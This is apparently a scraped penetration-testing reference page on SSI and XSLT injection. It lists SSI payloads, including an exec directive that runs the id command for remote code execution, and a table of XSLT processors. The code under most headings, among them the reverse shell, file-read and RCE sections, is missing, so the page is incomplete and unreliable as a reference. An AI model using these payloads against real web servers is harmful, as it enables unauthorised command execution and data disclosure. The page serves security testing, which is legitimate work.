githubEdit

SSI & XSLT Injection


Server-Side Includes (SSI) Injection

SSI directives instruct web servers to include dynamic content. Common file extensions: .shtml, .shtm, .stm

Supported by: Apache, IIS, nginx (with module)


SSI Syntax

<!--#directive param="value" -->

SSI Payloads

<!--#printenv -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="LAST_MODIFIED" -->

Include File (Web Root Only)

RCE via exec

Reverse Shell


Confirm SSI Injection

  1. Look for .shtml file extensions

  2. Inject <!--#printenv --> and check if environment variables appear

  3. Inject <!--#exec cmd="id" --> for RCE



XSLT Injection

XSLT (eXtensible Stylesheet Language Transformations) transforms XML documents. Injection occurs when user input is inserted into XSL data before processing.


Confirm XSLT Injection

Inject a broken XML tag to trigger an error:


Information Disclosure


Local File Read

XSLT 2.0+

PHP (if PHP functions enabled)


RCE (PHP)


XSLT External Entity (XXE)


Common XSLT Processors

Processor
Language
Notes

libxslt

C

Common on Linux, supports XSLT 1.0

Saxon

Java

Supports XSLT 1.0, 2.0, 3.0

Xalan

Java/C++

Apache project

MSXML

.NET

Windows

Last updated